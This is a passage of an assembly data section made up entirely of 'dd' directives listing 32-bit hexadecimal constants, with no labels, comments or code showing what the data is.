6E3F8260h, 0B96023C5h dd 112A1881h, 298F3B95h, 9359C601h, 80BA066Ch, 1E511621h dd 0C119B47h, 92AD89DCh, 2948D618h, 0EF6007B3h, 70F00D34h dd 0C0E19E43h, 0AEAC1C88h, 4760A099h, 81A6D649h, 2BC001Eh dd 93D0F036h, 0CF1E142Bh, 0D840D5A3h, 3E6EE327h, 10BC000Dh dd 0A58853DDh, 7CB050FCh, 2259C71Dh, 0A7BE8DC7h, 8F56AC00h dd 1808C6C9h, 4D0020A5h, 0CC488DD4h, 0FE96F9h, 252A1D06h dd 5571C368h, 3E11A71Dh, 0C8ABE3Fh, 19C40B0Dh, 8E462039h dd 0B7D49007h, 92C0708Ch, 0C859C8F2h, 0FDC0F788h, 0FFA7BF8Dh dd 42880A18h, 0C58D1CD5h, 0E29DC72Fh, 923EA0A7h, 0CA188AECh dd 2D480288h, 0F1330112h, 0F92E4FB1h, 5673E0FFh, 48049500h dd 6826E166h, 315967E6h, 80F941EFh, 79118057h, 0F0EE6463h dd 0CBA90C86h, 61084EDEh, 7E9A21C0h, 25B364h, 5B38C426h dd 50D221DCh, 3BA00C4Fh, 0B0A460FAh, 16D9C002h, 530E620Eh dd 0B256674h, 21BD6008h, 3A1701D7h, 52803705h, 0EF8084F7h dd 0C36BFA8h, 0DFE1AB77h, 561A8F58h, 17B85D4Dh, 817F1158h dd 45331CC9h, 1C156AC8h, 0B0295F0Ch, 878FB350h, 85648400h dd 2303B8A5h, 0BFD4A3BBh, 0C96AE4A0h, 0A7F6DDh, 0C58977D2h dd 0C3B4738Eh, 90E86E00h, 0CEEF2253h, 817507DDh, 30F8794Fh dd 74508809h, 723D2F02h, 0E041521Ch, 93710D0h, 0F8D09549h dd 5CB15D00h, 920044BEh, 0BFCC9069h, 0CBABD3h, 0A59394FBh dd 10A262A9h, 0C3C73000h, 0D14A8A1Eh, 0B09B3005h, 0B94B3208h dd 0E0318B12h, 0E010821Bh, 1C8DCBE5h, 83AD6D33h, 6F8584DDh dd 803126A1h, 72BAB620h, 0CF55BAEh, 9E82B45Dh, 31444559h dd 689F887h, 0DFEB281h, 0B70021A4h, 0E715824Fh, 3ADF56Ah dd 0A6F47F3Bh, 393C3F44h, 126B00C3h, 0DA3A15E3h, 0A44100EAh dd 0D1766F66h, 6A0EF8A8h, 5F96AC8Fh, 0FD03FE2Ch, 0C17099Fh dd 0E8511841h, 24749EC9h, 0F4BE19C3h, 3816D0B4h, 0F4FC7937h dd 0FA7C059Fh, 70AF202h, 0C3E21814h, 117A49B1h, 0BADB0C02h dd 0A09E89F9h, 0A278D580h, 0C6710055h, 0ABB9A62h, 0B801156Ch dd 8C4D0E64h, 0A858FE31h, 257208B9h, 1DC4BD6Dh, 72E0A840h dd 4619A23Fh, 21D07C10h, 0F6443408h, 0A497540Ch, 448A045Eh dd 87C804B2h, 2689F058h, 21CF9B0Dh, 0D06F61B5h, 6AD4B6A4h dd 7EBE0158h, 0ABFB359h, 579800Eh, 0C95C8B9h, 0DD790009h dd 0F49C33Dh, 21C03F0Dh, 0DC9F0492h, 3FFF7025h, 866ADEAh dd 6C506995h, 2500EFBFh, 688B273Fh, 0C01E5F18h, 6AEEA561h dd 0A912451Bh, 3840B874h, 0EC0F101Ah, 3AF1005Fh, 36EABE85h dd 0D4824A9h, 69E18024h, 919D06h, 65FCB779h, 0C6BE97C1h dd 559E805h, 0F0024E43h, 0D2FDC5h, 2AE6C4F5h, 6B9C4C54h dd 743243Fh, 46CA4793h, 0A4082026h, 1BF03D34h, 892B15F4h dd 9B00B0ECh, 66A7B026h, 76127EEBh, 68204487h, 7BBAB4C2h dd 33DDE830h, 3193C2Ah, 0CA282288h, 27CBE303h, 0F817C4CFh dd 9CEC6Eh, 0A83D3985h, 0A01A3AFCh, 29183639h, 0A311E8F2h dd 50681B00h, 0B5E6EDD6h, 0FB14E1E2h, 8CC482C3h, 0E3D410E2h dd 450818F7h, 9B48814Eh, 0DBDE5102h, 842FDD1Ah, 3360E784h dd 937EC743h, 0F147448Ch, 0EF0F0E7Bh, 0C087837Ah, 0CA15FB93h dd 6EB40F29h, 5881CB5Ch, 0EC1F95CCh, 342A17A2h, 0C31F027h dd 0A012C19Ch, 14480DBh, 609800D4h, 8FB2775h, 817737C9h dd 68E03C13h, 0E8BC6E00h, 0D90149C4h, 2092E17Ah, 2524DEBBh dd 79C4340Fh, 9FFB7240h, 0CA01706Fh, 0FE77EB1Bh, 92C0400Bh dd 2C92B4h, 0C3994C62h, 5A1595A3h, 76D2221Fh, 6A165B00h dd 56B73EEh, 17D482F8h, 0B5940430h, 46193029h, 20B023B9h dd 0B443Dh, 57E643F4h, 0FBA10D2h, 0DEC2D800h, 0C59F312Bh dd 1129C030h, 0D7F72552h, 41853E00h, 24A5EC12h, 0CF04CE3h dd 0C800E123h, 0D56D268Dh, 0B783856Ch, 0E9C472EFh, 0DF8B566h dd 6E88A898h, 7BBB7035h, 9BEF000Bh, 0C97895BEh, 8930E647h dd 3E1A419Fh, 83D4F9FDh, 70F70023h, 8D59FE80h, 68059424h dd 0E0AFA2A5h, 32FB0082h, 680CF040h, 2C90D3h, 72E100C5h dd 0E88F737Dh, 224C9EADh, 0C0C89058h, 3408297Ah, 0D05B00B2h dd 0EFCF8755h, 0D5009B6Ah, 6D5D99DFh, 0C1741B9h, 0D291D306h dd 0CF00F139h, 0C22908FFh, 3A524EA6h, 0DA30A5AAh, 0FFE71C21h dd 0C2503400h, 9F394C0Bh, 140AE08h, 6F2AC4ACh, 0F89B3C61h dd 0EB000994h, 4E294C3Bh, 90DB7BC6h, 2024644h, 25DD9FE1h dd 17867D7h, 0F09FFA6Dh, 0F2C8DC44h, 60184509h, 89E811F4h dd 8A46D410h, 9CA87C5Eh, 190BA00h, 96BEF62Dh, 3FB5601Eh dd 0BC3AE056h, 45061923h, 2B1400Dh, 0D7A90C13h, 186CDC1Fh dd 7A16D200h, 6B2CB2CBh, 1124B006h, 22319F2Ah, 0B2BA00A4h dd 4C098354h, 0FB0A34F0h, 68067950h, 0D7A065C0h, 0ADE00082h dd 583671B4h, 0FB122103h, 80049114h, 2B07C4DCh, 3D44E238h dd 807FC8AFh, 68EE1B60h, 0F2006281h, 48E0B0FFh, 1265F6Eh dd 1E9ACAF5h, 31EA65CEh, 0DD0842ECh, 0E2FFB833h, 0A5B22129h dd 1202CE91h, 278406B5h, 0A20034E6h, 9EC2E2EFh, 0AE6250Ch dd 6AC3A301h, 939B0C68h, 310F4BA1h, 961E44A5h, 4423243Eh dd 0B079C700h, 6713DECh, 0CAA2341Dh, 0B41861D9h, 4579B676h dd 650B8819h, 0A2F32000h, 47BA7959h, 50BF01F5h, 249F4328h dd 2B298032h, 617C6493h, 3A6B0501h, 8229382Ah, 7300CD4h dd 25CF089Fh, 0E358FD27h, 619F00E6h, 0F05A5BF1h, 2418A776h dd 0B4F00D42h, 1A048629h, 0F8B0D446h, 0A203E62h, 0A4A4301h dd 886AB467h, 33116Ch, 9587096Ch, 15B685F7h, 84D391BFh dd 0B1A62402h, 3C60FB7Bh, 90A4DCCBh, 0C92B1F33h, 82ACD2h dd 0FFDB30EFh, 0E2290408h, 40CC64A6h, 9406B320h, 21820A75h dd 43ECC4C3h, 0A1039D0Dh, 0FAF688CCh, 963D9036h, 945A0003h dd 0EFDDE5A4h, 7333DF04h, 88D339C3h, 1D6669h, 38D55F7Bh dd 0FF2621A4h, 0C040D628h, 78446728h, 0E9D95400h, 84FB685Eh dd 38943BEFh, 28A81DAEh, 7FA46F0h, 681972D5h, 521AC4E8h dd 8772F507h, 479E99E0h, 371228AFh, 4A892290h, 3E81CB02h dd 85F29BD5h, 780098A4h, 185DCAC5h, 1220B15Ch, 0C13C200Ch dd 0EC0754BDh, 0CB5D5F68h, 0AE31F440h, 0E3880024h, 4080EB9Dh dd 0A40A77CFh, 0C0E2060Ah, 0E3FFDEC0h, 0A5AA2129h, 1100D991h dd 87C206B6h, 0F12669E9h, 83415889h, 0B1DC22F0h, 265E014Ch dd 94E8CAEDh, 0D7A0705Dh, 13BC273h, 0A9F434DCh, 0F65D2090h dd 13AE7D9Ah, 3ABA35CDh, 1C2394h, 0F89C984Fh, 0D201E7EBh dd 0CDC46EA4h, 50295C19h, 79AF0C1Bh, 0BB0F6AF0h, 163EC87Ch dd 81C20088h, 97FB3AD3h, 8283DD4h, 2129A692h, 0C47699CCh dd 0B303A351h, 0B41465C9h, 5590383h, 0E95E19C8h, 897BB10Fh dd 0CC91A1D2h, 10267097h, 78AC004Dh, 0DFA2A600h, 99F29F8Ch dd 20710524h, 0D2104D29h, 2730B36Ch, 0B0D33F43h, 58E8C9A4h dd 91F6020Dh, 1164675Ch dd 921516ABh, 4E00F0DDh, 0ACE528F4h, 6107ADC1h, 157744DFh dd 9770CBE2h, 80221138h, 7C0FF23h, 904E4C65h, 9B139D22h dd 9C34DEB0h, 4C2EA820h, 46A0B877h, 72D402FDh, 71F5681Ah dd 0DCC36054h, 5018AC72h, 24E042A8h, 85D4B94Eh, 84A56626h dd 45400B0Ch, 0EB5BE490h, 2CB9570Fh, 9DCC4012h, 3F7C449h dd 3C6C3382h, 0A978B792h, 0D3CEBB09h, 760301A3h, 62E04428h dd 0D1A13B31h, 576EB483h, 0CCF0A8CBh, 109C322Bh, 321465Eh dd 0F31B407Ah, 9EC0DC44h, 0F0B83CDEh, 0C0B256C4h, 0CE1D214Ch dd 7C9625B0h, 0AA0F0C3Dh, 715C6031h, 7FFF0158h, 0AE391A23h dd 28573D4h, 32A5A9D1h, 0D851DDBAh, 0F9189579h, 73193F00h dd 51180EBBh, 1FD1D31Bh, 0D5E222B8h, 3779B270h, 0A42A9500h dd 23F046C4h, 1A8401B9h, 9973F120h, 0F2E0402Ch, 3A025382h dd 43662A01h, 914C95C3h, 0F654807Ah, 0F4BDA425h, 198B2280h dd 5F8D5D00h, 7CAC86B8h, 29E63Ah, 0C68C6F10h, 2C259413h dd 0A616C502h, 0E631E0CCh, 3DA7F238h, 0E200411Fh, 0A9249DF0h dd 0F301460Ah, 0C5F6E1C1h, 0DEBC81h, 43D515D1h, 3E286400h dd 9E8AACC8h, 0B2170083h, 0C6E21E03h, 0D10FEAC1h, 0F43B04A4h dd 94390050h, 0E5FA2A47h, 1BC20033h, 849BC402h, 1F02AFA8h dd 7B9C908Ch, 0FC640Dh, 0C5CC2806h, 5F2F994Eh, 889D2900h dd 5ADE83B9h, 3B81FFCh, 0CBDFC095h, 1868789Bh, 0A040604Fh dd 627F4484h, 74BD2649h, 0BB864008h, 23501401h, 0B91961C8h dd 3271249Eh, 0DEA633D8h, 8EC0C050h, 35365229h, 0EB4EA800h dd 6FC780CDh, 205C001Dh, 6BCF3A4h, 0CA0068DBh, 0F5FD1682h dd 90636B21h, 9D3701D0h, 0A960516Eh, 0E97CF8E7h, 69701A00h dd 0CAC9EADFh, 898D1917h, 0D431B1EDh, 15003A78h, 85366A1Ch dd 13AB0B43h, 0D091B6E6h, 7A502940h, 52341100h, 8EBD8110h dd 2317648h, 0C69F3980h, 0F4C0A1B6h, 34DE12Bh, 0F430221Ch dd 0F4E00784h, 40A5E443h, 85ED8317h, 0F899CB24h, 40D07312h dd 2437677Ch, 38F73F2Ch, 9D21FA00h, 4A28A815h, 0D24AD16h dd 0EAB04020h, 4280005Eh, 1F4E77FFh, 7507594Dh, 0E4960DA3h dd 0A7CB35E0h, 0BC7C2723h, 0FA8A58A0h, 5D0A9A76h, 8F213139h dd 0B0B00918h, 79C1884Bh, 0CB526B03h, 0B8AC19AEh, 2C12AD27h dd 3887F0h, 0F397B68Eh, 0E8A01155h, 851F3E7Fh, 8C7A1F06h dd 0D1E0CDA2h, 3B6E130Fh, 8D98C809h, 314A7700h, 620876DDh dd 0DC195014h, 13633A17h, 39B1626h, 8A1EBFEBh, 69645807h dd 0E66784AAh, 2A9B5DC0h, 1E970E0Fh, 0F4820C82h, 106140AEh dd 2F681016h, 2E120EEBh, 3E004A1Ah, 0C5174D26h, 0F2013776h dd 0A662602Bh, 94698A2Ah, 0AF960A7Fh, 6C7025Fh, 60FE4451h dd 3000055Dh, 5D852903h, 0EB893020h, 0EB85A11h, 74B39D00h dd 5271A0Ah, 16381411h, 0B0981CD2h, 0C2AAC61h, 8BEAE0A5h dd 3FF33600h, 0B53E72D7h, 6B0B052Ah, 0C85D181Ah, 120C7D04h dd 8801F8A9h, 29432484h, 0E8FC402Ch, 0EA701526h, 0E7A21B02h dd 0E42AE099h, 4DE13A38h, 17404100h, 0C354CFD8h, 7EC6E00h dd 0A0385C86h, 0DF3D1DE8h, 44BFCBE3h, 0EC0A8868h, 0CA412600h dd 6B6E9410h, 27CA9080h, 8278A2Bh, 594160C3h, 0C6001630h dd 2315E933h, 0ADC20C5h, 44A4A39Ah, 0C0750044h, 0B7A728C1h dd 0D867B09h, 5D189089h, 4C1A17BAh, 6A500471h, 0AF04C0B5h dd 948378Eh, 74520500h, 0B8880E66h, 4D1D0008h, 11D528B7h dd 0CA06B6A9h, 14444796h, 9AD05871h, 0A5F8CD03h, 0F5A8898Fh dd 0C83BD2B3h, 2F29A7B1h, 0B940DD34h, 0AF82F94Bh, 0A78700A0h dd 63C403DEh, 9E184F34h, 5F10D5Dh, 0D64360D9h, 71C3085Ch dd 40C10CA2h, 386D10D2h, 2CC006DFh, 693A291Dh, 75C1CB00h dd 4CAE77Bh, 0ED1802F5h, 0D87E495Ah, 0B434DFC0h, 17682DE7h dd 18020EF0h, 2FC29206h, 9387020h, 0FF00F641h, 0B603E84Ah dd 3EA51A4Eh, 0C1864259h, 31521824h, 0B13DD104h, 0D087F057h dd 0E45E5320h, 0C0BC7980h, 8FC9C721h, 8300C549h, 50E69C62h dd 17562134h, 8F4801Eh, 9E804CECh, 2DAD7C25h, 3DD271A8h dd 0F22EDEC1h, 19B40058h, 6F6B3EE3h, 0A8BC8224h, 0E0A95543h dd 7E1A5452h, 0DF9D0130h, 345320EEh, 3E42D92h, 0FF2A82A6h dd 14BDB85Fh, 638400BAh, 0E2A82961h, 88333380h, 0B26BA4EEh dd 4438502Ah, 9313114Dh, 2000014Bh, 31D27467h, 81C1006Fh dd 0CBE0E548h, 8A187E83h, 0FB71AB91h, 16923AC0h, 205F4083h dd 58F07E0Bh, 59046979h, 179F538Ch, 0B1FC84C8h, 0CF1E8014h dd 975D4CA3h, 0DCB23E02h, 86907AADh, 3A486E87h, 7B0023B8h dd 746DF250h, 0DF6ACAA2h, 4701EC79h, 0A184B42Bh, 14221C29h dd 40E94B1Fh, 0B4160039h, 38605FD7h, 0C0B929h, 49B16CFDh dd 961D72FFh, 9CCEB30Ch, 0CD5E20EDh, 7327B42h, 0B994F752h dd 0C3A391DBh, 9E902868h, 866B9061h, 3D9828D2h, 8800A734h dd 0C9958CACh, 0AB4473CDh, 1F50B501h, 0C75A8100h, 0AC97B29Ah dd 89601D8Eh, 70E9A2h, 3484186Fh, 6D5D2616h, 61A71E10h dd 59709E43h, 4412C5A2h, 8840261Fh, 8C24C881h, 0F7390C44h dd 6C21CF92h, 5272D900h, 14AB1B07h, 777A00FCh, 8D01ECFEh dd 8303E7C9h, 6CB6A7F0h, 0F8D14030h, 0B1AC1FAEh, 0D00ED396h dd 24C79F34h, 81D9F003h, 98DFAFF8h, 3ECA189h, 0B9583810h dd 7900A990h, 0C330622Dh, 177D500Eh, 8845A43Eh, 7B011BE8h dd 64A9E262h, 6180A30Dh, 0B82CBFBAh, 880073E8h, 0C9ECB27Bh dd 278FB193h, 0C4200D90h, 7729CAA6h, 964B5C00h, 579D3DE0h dd 2FE402A0h, 2B39CB84h, 7FC0FC79h, 7165CF3h, 0A089D012h dd 57ABD340h, 0CC3E2EC8h, 0DF2AFB00h, 93872FC7h, 352F8D0h dd 0C3B53223h, 20D55686h, 3A724EE8h, 0BFBB6601h, 80F8407h dd 53F05D2Ah, 47200080h, 0D4DDB5E2h, 0BC008CA6h, 92AAE637h dd 0F5B1E93h, 76AC5F6Ah, 417114E1h, 0E8328Ah, 0FE0D5A60h dd 4CA4018h, 0B5BA64A2h, 30A253h, 0A5437F25h, 3D4FC5h dd 5AE42960h, 0D1CE46C6h, 0D976A800h, 27E803DDh, 0E6EA04C9h dd 43F589FDh, 0D0F2217Fh, 0D3AC70h, 5EFA8375h, 916BC2F0h dd 0E0DE9D09h, 9B4C04EEh, 52C3898h, 0F3AA277Ch, 0D008845h dd 0DD982003h, 886D4E96h, 7BBB9C55h, 0BE4300F8h, 84D191E7h dd 8309B14Ch, 85A68CB4h, 0F0824974h, 76704044h, 937F18F9h dd 0DA2B698Ah, 8496A23Ch, 0D8B0BC2Eh, 0A5CBECC0h, 16D20091h dd 95DF2838h, 0BF4C9F84h, 3D8280B0h, 4F8B6285h, 0C6C021D8h dd 0D061C52Dh, 86000F92h, 3CA9F75Dh, 0E66BD6FCh, 0C9779A5h dd 0B673D2F0h, 34764781h, 0A5F09Fh, 2A77B9B2h, 8FD45E3Eh dd 8F282948h, 0E1CE6EE6h, 3BB11747h, 35207C4h, 88F6491Fh dd 0A0F3541Eh, 105163A0h, 61B6790Ch, 0A1B891h, 0ADF95784h dd 7594451Ah, 0AC4C8600h, 0D2618001h, 718400D9h, 0D1A06FE3h dd 50C28C9Ah, 640E249Ch, 5DFB007Ch, 0C01A23ADh, 0C27341F5h dd 5C389998h, 0EF1400DDh, 8830522Fh, 0CF1924E4h, 49B21CECh dd 90E4178Ah, 0F45D6F0Fh, 10442BA4h, 1573B4h, 42F6F28Ah dd 5066E6C0h, 0A6F51B00h, 28841EB8h, 456A22B4h, 60E9E039h dd 0EE85C0D8h, 3E570E24h, 5162587Ch, 0C840FA62h, 18621986h dd 5A90CC3Ch, 4E970068h, 0D3F134FFh, 4509B3F4h, 1047C5Ah dd 51182EB8h, 53871828h, 0B08D80B1h, 3100E921h, 0D4019F5Bh dd 180FA4CEh, 8DC7CCFh dd 0B6010669h, 251BDBC4h, 553012B5h, 9D55007Fh, 77E42D65h dd 0B907D73Eh, 0E35D57A7h, 0D20349B0h, 401C6022h, 2AE290A5h dd 753D8401h, 0BEF9C029h, 1D7C12CCh, 0EA51A1h, 9641364Fh dd 0A0605A55h, 9490FF79h, 0C7011BE6h, 1EE04822h, 76002C48h dd 0C22516B1h, 37C57334h, 0A02126C7h, 2F56616Fh, 0C34A4300h dd 0E37B16E0h, 46220005h, 0C7DA03BBh, 0EE1DB749h, 78A86F84h dd 80A2523Eh, 7B20E55Dh, 1B5545D6h, 21D3C6E6h, 0ECB0BCB3h dd 801C3A1h, 403F50B1h, 64E0ADB2h, 0DB6C03CCh, 0A3595570h dd 0D07AC11Eh, 7B684114h, 0E023F0CFh, 97E3F975h, 0B7B303CEh dd 62A7F285h, 4ECFC003h, 7B8DB98Eh, 0D5C430B8h, 0C28CEC81h dd 80B45B38h, 684DBA2Fh, 6154552Ah, 73F661DFh, 48450CCh dd 0D81D09D2h, 1A801712h, 90C1F09Dh, 1894FEF5h, 59DCC706h dd 0E0E22F92h, 8A538B3Dh, 0C8EDB315h, 4A338A07h, 351F7A10h dd 0F4E21E11h, 0D025C0AAh, 0F6A76559h, 0FF06854h, 0D47B8B19h dd 4CF4AE89h, 789200E3h, 0ADFE6066h, 0D2E2FD46h, 2B63EF06h dd 393FC7h, 2E1D3AEh, 0ECF2908h, 7D00ACEEh, 0C3DC7142h dd 60FC558Ch, 7B6C59A2h, 14078BA1h, 0D5E4C01h, 0FE22A440h dd 60857B90h, 68B183Fh, 80129355h, 4803F8D9h, 0D06EB17Ch dd 0F928F9Fh, 72F9D4FAh, 0C1F278E6h, 913BC830h, 936C44h dd 0A3388883h, 56E0672Dh, 1E422307h, 2B4062C4h, 30F4C1BFh dd 399F87Bh, 0BE00C0C6h, 0C79C6C85h, 549564h, 0D9824028h dd 31A230F4h, 0AC9FE400h, 11F1B12h, 0F86754A0h, 4A130309h dd 0A77403DEh, 0A1F022h, 0ED67C024h, 29541817h, 3EC7B918h dd 0C84DA9h, 0CA04CE90h, 136D42F5h, 0E9232101h, 7EBB955Bh dd 0EA2020h, 0D209D9F7h, 67F68DA0h, 54091091h, 0D1830011h dd 14E77543h, 889D08F7h, 0F5C63380h, 360757F4h, 90DAB864h dd 794B2C40h, 7C5B0076h, 6F0AAC4Ah, 0FE02C74Dh, 0F9B057D1h dd 0A0084673h, 391FCD0h, 0A1D92437h, 0AD31C0h, 0A0E886A0h dd 0C63EFF50h, 1B7F18A8h, 1D70BE39h, 8110ABE2h, 0F990F808h dd 0C668F46Ah, 0B37B0402h, 4666556Ch, 6A3907F8h, 0E010D97Eh dd 42ECA8Dh, 52A8C648h, 0F97C15DCh, 9BF800A8h, 3D51B42Eh dd 5E5D1CC8h, 7DE302D0h, 98806ED2h, 7C6AA1B2h, 0A911E60h dd 12499380h, 20E8559Eh, 0F9AAF6E4h, 4C020870h, 0F2FC9160h dd 76E046BBh, 0DF30C874h, 1CE8F43h, 0FF65A0B1h, 20C329B8h dd 51018C5Ch, 2DE96807h, 798FF37Eh, 0D80040EFh, 0A80A03E4h dd 2778630Eh, 0F1248042h, 38AFDA26h, 0F0D0F628h, 9CB4995Fh dd 9B7182FCh, 0E0647B7Eh, 94FBAA02h, 4045CAF0h, 328F8727h dd 0FEC854E7h, 0BA1814A0h, 7300BBE4h, 0E16429EDh, 0C06854C7h dd 2772D0B8h, 3C0256B9h, 0C0BB4A0Dh, 8952E195h, 1FFAAB60h dd 64CC0716h, 0DBC68A3Ch, 0DD6580C0h, 0E99A253Eh, 0B046AF6h dd 51CC929Dh, 0EFFDF0C0h, 746F4CA8h, 3285B1C0h, 0C71E162Fh dd 0F000F9C3h, 757A4F89h, 0B75E1626h, 995418EDh, 0F81304CFh dd 50058CC2h, 0B443C976h, 0BC47555Dh, 301488h, 1CCDCFD4h dd 0B81AEE27h, 68F01326h, 82E08539h, 0C800B294h, 0F7A7C491h dd 91D960C7h, 7D1599A5h, 0BA471000h, 0AE6AF1D6h, 0E8CB0C38h dd 18F0E50Fh, 2F190400h, 0E20DC712h, 4022E94Ah, 0ECF1DA01h dd 0F4993D7Ah, 0E00EC583h, 0C029D967h, 239021ACh, 76A33001h dd 5194E4D1h, 9118E9E1h, 4E00E648h, 0DE8A1D88h, 0B3004706h dd 0A76215A1h, 0B3C4321h, 5A272F8Ch, 0A82CA030h, 0B5F48D00h dd 7BD22D66h, 4149210h, 0E77EA149h, 7104C106h, 8F088AEAh dd 878F5C62h, 2E08A007h, 0C3E9A1h, 26375B40h, 1BAA43D0h dd 0B73D3300h, 41A246D9h, 2C77026Fh, 0B35209D5h, 0DC07F066h dd 0DED0F784h, 933E5A40h, 0B67048h, 0AD861DCFh, 31132A42h dd 8011053Bh, 0F9D9BBE7h, 5855E4C2h, 2FC7FC64h, 0B9F1326Fh dd 0FCDC6861h, 0F4297129h, 67839CA0h, 0DE696F1Eh, 112300E0h dd 0F9DAB77Ch, 0ED60C471h, 0F04172D9h, 1D1905BDh, 0E43C724h dd 0E8637CFDh, 83FB6037h, 0E6CAB0F8h, 16794D00h, 0A7D9D04h dd 0C30B0E0h, 209AF680h, 4D037E99h, 864F7873h, 0AEC3C86Eh dd 702C90F9h, 0DC061D16h, 60DC664Dh, 0A415ED3Fh, 3D6B0200h dd 47CB7A31h, 0DBCC0039h, 9300A96h, 0C802B70Fh, 1460AE1Ah dd 0BDE8907Ch, 4327C0Eh, 126C7083h, 0C89C84E0h, 4B988F24h dd 0B817B1Dh, 89B51600h, 4CD21265h, 498E6820h, 640A5B40h dd 8712F8B6h, 0DC01478Ah, 0D260EDF6h, 0EF7C698Ah, 739F009Eh dd 20A9E29Ah, 4AB14Ch, 916F4D9Ch, 2C08D7EDh, 45289DF7h dd 62A4C8C6h, 0DD38E898h, 23F28179h, 6F959C7Dh, 3764070h dd 0E30B1694h, 33A0172Ch, 91185A41h, 234927FAh, 11EA0E2Fh dd 17CE4E32h, 0A1644137h, 81E97C95h, 84528BC9h, 17FCB356h dd 20C7500Eh, 544B3D9Bh, 72A27901h, 0D0E342B3h, 0D2110AE5h dd 7D4C117Ah, 8FFB9B0Eh, 0A824CB21h, 1008700Fh, 0A4F288h dd 0DCF025A6h, 96684F33h, 0F90968B0h, 0C531B0h, 80AAD30h dd 0EEF518E5h, 48B46870h, 60008274h, 887A3F90h, 0A8D8D4F2h dd 18C6098Ch, 11DAC770h, 0A9098948h, 81B5E336h, 0E77F2D81h dd 9C878180h, 0CEE1171Eh, 0FB91520Eh, 0DF7BE00Dh, 0B6E0B10h dd 1E934A3Fh, 0EB76DC82h, 6F2384E0h, 734F7B05h, 0B4809DADh dd 44EC964h, 0EE79DA75h, 3A44821Bh, 1847402Fh, 7E28EC11h dd 0B234305Bh, 0F00B3BB4h, 81149B5Dh, 8DF6774h, 0E9D97F4h dd 0DC90F46Fh, 3D06EA61h, 565AC404h, 0F2D44F00h, 9EF6954Ch dd 4120A121h, 91C0E828h, 78EA1536h, 0C2F0F102h, 0E0EBFE8Dh dd 0EA14E9D1h, 425A01F7h, 27D9D867h, 58331Dh, 7EDD2599h dd 0E2BDE3h, 7C12C62Bh, 0F2FB4CB6h, 847D4924h, 0D92694A0h dd 0EC19CC6Ch, 3510A380h, 76FC6FA0h, 0A1A511CEh, 0E9722589h dd 0B99AF4C8h, 10CB0144h, 60834D7Fh, 0B3174E3Ch, 5430DD01h dd 77609466h, 255AEA40h, 24903F95h, 0B90397B6h, 41E3A646h dd 912380F2h, 22D21A11h, 0C418410Ch, 45050EFDh, 0A6DABCCAh dd 0EB9632C0h, 76F766Bh, 0E4175375h, 0D0CAE740h, 14FC8F82h dd 0BAA9090Bh, 4E3C8543h, 4FC07C20h, 2C810160h, 8FF9D626h dd 0FCC44824h, 0CD7B10E9h, 7DD92679h, 0C0C6400Ch, 0F32C9E56h dd 9180CC11h, 0DA8221B8h, 5C900Ch, 0C37A2542h, 0C7605AF3h dd 0DA008099h, 0F86A790Dh, 47260482h, 0C098E07Dh, 75F67E94h dd 2B62344h, 35EE6FB4h, 8C428738h, 67605C12h, 0C748C572h dd 8EF0801Ch, 0B00ED859h, 5BC824B6h, 1FFD0108h, 3040D539h dd 4988DD8Ch, 2C9F00E4h, 6BE9B35Dh, 0A300B8C4h, 42608946h dd 4C486D55h, 0AA1E58E6h, 39DE98E7h, 67003A5Fh, 0F6E44E76h dd 48D99E3h, 62C9B528h, 0CF20836Fh, 688F4003h, 9131D9FCh dd 0F450C1C4h, 4C891EB9h, 0B4260214h, 84650000h, 0AD150BB0h dd 7EFECC0Ah, 3980B0F5h, 0DD0F946h, 12F300EBh, 0E73F728Ah dd 84ACA001h, 84C6E12Eh, 0E74BFF40h, 61790075h, 0F632A631h dd 0E30074C1h, 1EDDDB70h, 0A83AC8CDh, 0F01C98h, 38951BACh dd 62188F41h, 3E312913h, 6C607C12h, 96FA0F6Ah, 0AEB48078h dd 41F9962Bh, 0F31BF0F7h, 5D009D70h, 4E7DC29h, 0B90C1FEh dd 56D9B8Dh, 3E1D8820h, 84B1F00Ch, 67105D80h, 28115528h dd 295916Ch, 0D4EFEC27h, 908112F5h, 60EA818Ch, 5512B2E0h dd 9097FA59h, 0B0402324h dd 7B9CA843h, 7C8C5500h, 0F57A924Fh, 20B079h, 161438D1h dd 0EFE7F59h, 20C25825h, 0FDF1B634h, 8E17010Ch, 7C7594F3h dd 93F983F6h, 0C0D57B58h, 0AC8655h, 0DBCA0EC1h, 0CB1E5DFFh dd 0BCE953h, 2575355Eh, 1FE2A2h, 3AC5DB82h, 68BB554Ah dd 0B9E3E607h, 0B2000C2Eh, 0C8D4F49h, 0D2C7AA0Dh, 3400C441h dd 9669B31Fh, 262841C1h, 5DA0C37h, 80781176h, 0ADD5880h dd 2D22700h, 0FCB89B5Bh, 194313B6h, 0EFD6014Eh, 227C685Ch dd 45F00F20h, 0A09C2E1Ch, 4BAB883h, 8F65132Eh, 76C40192h dd 51D17BC5h, 309C93A8h, 0E20088A6h, 80576FAEh, 0EF04B94h dd 0EDE97EE1h, 7D83DE62h, 41159090h, 1F827500h, 0B6BC169Fh dd 9DE43D1Ah, 0BACC20CAh, 500424Ah, 92EDB54Fh, 0EEC6746Eh dd 2C533E95h, 7104554Ch, 0CC02734Ch, 90014970h, 51DBBDDAh dd 80EF4BDDh, 482FAA77h, 0C2022C0Ah, 0C74A7CC5h, 606BE490h dd 3900A1F6h, 3C5E54E3h, 30979175h, 0E22AE65Fh, 80FFC710h dd 0F2D76761h, 0BD8A18h, 0FDA71D96h, 9A0C4E47h, 0F0042570h dd 0BAF2C7FFh, 2AD2B488h, 38F831h, 1EFC655Bh, 126B8E6h dd 0A504A739h, 0B30A0A6h, 15F575C6h, 981B5FD9h, 0F210B707h dd 0ECC41383h, 16724900h, 3CC5D4B4h, 9D2A074Ch, 0F0E852D8h dd 7BFC1096h, 0CE2EBC74h, 834FB461h, 0A829173Eh, 39553DE6h dd 0C5018727h, 0D3C2A22Eh, 0F073F9A6h, 502786Eh, 0C76C7EE9h dd 2E7720CFh, 43013D80h, 44A6BA74h, 1870492Dh, 8B8B6h dd 12F12470h, 0A54A3CC3h, 0D0936B00h, 2299E4CFh, 0E3050C1Bh dd 0A3E9D3FAh, 0BD2ACC1Ch, 0D08E8543h, 282E9890h, 0DF1100A9h dd 0D84B22DDh, 4E5855CCh, 0A83380A8h, 90B7805h, 84647AE1h dd 0E6828800h, 48F6B688h, 6062DE13h, 0D01D3090h, 53FE0055h dd 0D525E52Fh, 614C10F7h, 0D31380C8h, 2907835Ch, 80940DF2h dd 0B9F98E97h, 9200B3FBh, 0AE407494h, 0A0BC18CDh, 0E4C5B4h dd 5A6EE92Ch, 0EC740C05h, 5E9EC8B1h, 0DAF73100h, 1359B68Bh dd 